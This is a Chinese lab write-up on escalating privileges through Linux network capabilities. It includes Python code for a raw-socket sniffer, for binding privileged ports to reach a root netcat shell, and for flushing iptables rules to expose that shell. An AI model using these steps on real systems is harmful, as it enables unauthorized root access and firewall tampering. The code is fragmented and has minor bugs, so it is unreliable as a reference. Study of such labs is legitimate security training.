这篇讨论一些与网络相关的能力
CAP_NET_RAW
这个实验中,发现tcpdump``在有效集和允许集都包含了cap_net_raw
能力
当打开一个新的socket
并发送/接收时,内核的处理是转换或解析raw
数据。有时为了嗅探, 需要从内核请求原始数据包,为此必须以特权用户身份运行程序或者程序应该具有 cap_net_raw
能力。此能力还可用于绑定到任何端口并将该程序用作代理。使用此能力,无法直接升级以获得特权 shell
在实验提示中,要求注意一个特定的 IP – 93.184.216.34。可以通过 tcpdump host 93.184.216.34
来实现。一段时间后,将在 HTTP 请求资源的路径中看到flag
CAP_NET_BIND + CAP_NET_RAW
在这个实验中,发现 python
解释器有两个能力—— cap_net_bind_service
和 cap_net_raw
。它们都在有效集和允许集
总共有 65535
个端口可以打开以侦听或连接以接收或发送网络数据包。1-1024 被视为特权端口,只有使用特权用户 ID (EUID = 0)
运行或具有 cap_net_bind_service
的进程才能绑定到这些端口,并且任何进程都可以使用1024之后端口范围来侦听或打开连接。不能直接升级以获得 root
用户 shell
,但可以使用它为绑定 shell
打开特权端口
可以看到一个名为 send-flag
的 python
脚本正在运行。这可能是客户端试图连接到一个端口并发送flag
。
使用以下脚本来探测
import
socket
import
struct
flags = [
"NS"
,
"CWR"
,
"ECE"
,
"URG"
,
"ACK"
,
"PSH"
,
"RST"
,
"SYN"
,
"FIN"
]
def
getFlag
(flag_value)
:
flag=
""
for
i
in
xrange(
8
,
-1
,
-1
):
if
flag_value &
1
<<i:
flag = flag + flags[
8
-i] +
","
return
flag[:
-1
]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(
3
))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF,
2
**
30
)
s.bind((
"lo"
,
0x0003
))
flag =
""
count =
0
while
True
:
frame = s.recv(
4096
)
ip_header = struct.unpack(
"!BBHHHBBH4s4s"
, frame[
14
:
34
])
proto = ip_header[
6
]
ip_header_size = (ip_header[
0
] &
0b1111
) *
4
if
proto ==
6
:
protocol=
"TCP"
tcp_header_packed = frame[
14
+ ip_header_size :
34
+ ip_header_size]
tcp_header = struct.unpack(
"!HHLLHHHH"
, tcp_header_packed)
dst_port=tcp_header[
0
]
src_port=tcp_header[
1
]
flag=
" FLAGS: "
+getFlag(tcp_header[
4
])
elif
proto ==
17
:
protocol=
"UDP"
udp_header_packed_ports = frame[
14
+ ip_header_size :
18
+ ip_header_size]
udp_header_ports=struct.unpack(
"!HH"
,udp_header_packed_ports)
dst_port=udp_header[
0
]
src_port=udp_header[
1
]
if
proto ==
17
or
proto ==
6
:
print(
"Packet: "
+ str(count) +
" Protocol: "
+ protocol +
" Destination Port: "
+ str(dst_port) +
"Source Port: "
+ str(src_port) + flag)
count = count +
1
pass
运行时发现119端口没有变化,并且在这个端口上建立了一些连接,这个端口号属于特权端口范围。所以这可以是监听到flag
的端口。
在这里写了一个小的漏洞利用代码(由于解释看起来很长)。此代码将在端口 119 上侦听所有主机(网络)连接请求并一次接受一个连接。
from
socket
import
socket
# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
srv = socket()
# bind for on all hosts and on port 119
# listen for one connection at a time
srv.bind((
'0.0.0.0'
,
119
))
srv.listen(
1
)
# accept the client connection
# this is a blocking call and will resolve when new client connects
cl, _ = srv.accept()
while
True
:
data = cl.recv(
1024
)
# read 1024 chunks of the data from client socket
data = data.decode()
# decode the utf8 encoded data
data = data.strip();
# strip the unwanted whitespace chars from starting and ending of the string
print(data)
# print the data
运行上面的代码后,瞬间得到了flag
CAP_NET_BIND_SERVICE
在本实验中,再次发现 python
在有效集和允许集都设置了 cap_net_bind_service
能力
此外,发现 netcat
正在侦听端口 4444
上的连接,并运行着 /opt/shell.sh
的脚本
尝试连接到 netcat,它拒绝连接并显示消息“Terminating! Connection from a non-privileged port is not allowed
”。另外,尝试阅读 /opt/shell.sh
的内容,但它不是全局可读的
从非特权连接时的消息似乎很奇怪。所以基本上,当您尝试连接到一个端口时,即使在本地主机环境中,客户端也会打开一个端口作为通信媒介。在上述情况下,当连接到 netcat
时,客户端使用的端口范围为 1025 - 65535,这就是它被脚本阻止的原因
在下面的脚本中,绑定到一个特权端口,然后连接到本地主机上的 4444
端口。这次客户端会打开80端口,这个端口确实在特权端口范围内,可以开始连接
from
socket
import
socket
# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
cl = socket()
# requesting kernel to reserve port 80
cl.bind((
'127.0.0.1'
,
80
))
# starting socket in connect mode
cl.connect((
'127.0.0.1'
,
4444
))
while
True
:
"""
sending command to server and receiving the output via client socket
"""
cmd = raw_input(
"# "
);
cl.send(cmd +
"n"
);
output = cl.recv(
1024
).strip();
print(output)
在运行上面的代码时,能够以 root
用户身份执行命令并读取flag
文件
CAP_NET_ADMIN + CAP_NET_RAW
在本实验中,python
解释器在有效集和允许集都具有额外的能力 cap_net_admin
cap_net_admin
能力允许进程在网络上执行管理任务,如配置 iptables
(数据包过滤工具)、网口、路由表等等。它不能用于直接升级以生成 root
用户 shell
,但可用于在目标系统中管理网络
查找进程列表后,发现 netcat
在端口 4444 上服务,并且它将以 root
用户身份运行 bash
进程
写个脚本看看防火墙策略
import
iptc
import
pprint
json=iptc.easy.dump_table(
'filter'
,ipv6=
False
)
pprint.pprint(json)
运行上面的代码可知,它被配置为拒绝任何人往端口 4444 上建立的连接。可以通过清除这些策略来解决
由于 Python
有一个用于 iptables
的模块并且它具有 cap_net_admin
能力,可以刷新这些策略
#Flush iptables filter table
import
iptc
iptc.easy.flush_table(
'filter'
)
运行上面的代码清除 iptables
中的所有策略,再次运行 get-rules.p.y
文件进行确认
清除策略后,现在可以连接到 netcat
端口,它会给一个无提示的 bash shell
。从 python
生成了 pty bash shell
并读取了flag
文件
原文始发于微信公众号(奶牛安全):Linux提权系列22: [训练营]利用linux能力漏洞5
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论